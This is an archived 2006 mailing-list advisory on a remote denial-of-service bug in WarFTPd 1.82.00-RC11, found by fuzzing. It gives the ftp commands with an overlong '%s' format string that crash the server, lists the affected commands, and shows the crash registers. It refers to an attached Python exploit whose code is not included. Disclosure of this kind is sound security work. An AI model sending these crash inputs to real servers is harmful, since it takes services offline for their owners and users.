full-disclosure - WarFTPd 1.82.00-RC11 Remote Denial Of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 7 Nov 2006 10:23:59 +0100 (CET)
From: Joxean Koret <joxeankoret@...oo.es>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: WarFTPd 1.82.00-RC11 Remote Denial Of Service

WarFTPd 1.82.00-RC11 Remote Denial Of Service
---------------------------------------------

WarFTPd is vulnerable to a DOS condition when passing
to various commands a long string with
two times the "%s" character(s) inside. It looks as
non exploitable as the problem crashes with 
the same output at the same instruction and address
regarding or regardless of the buffer size
and the %${char} passed. Maybe another one founds it
vulnerable.

Example:

$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256

or 

ftp> cdup %s*256

Server will crash as follows:

EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(...more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540

00431540   8A08             MOV CL,BYTE PTR DS:[EAX]

Only one shoot is needed. Any file related operation
will crash. It was found during an ftp
fuzzing session.

The following commands found vulnerables (at least):

	CWD
	CDUP
	DELE
	NLST
	LIST
	SIZE

Well, any file related operation. Attached goes a
Python exploit.

Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
---------------------------------------------------------------------------

Contact
-------

Joxean Koret at <<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es

______________________________________________ 
LLama Gratis a cualquier PC del Mundo. 
Llamadas a fijos y móviles desde 1 céntimo por minuto. 
http://es.voice.yahoo.com
Download attachment "dos.py" of type "application/octet-stream" (1053 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/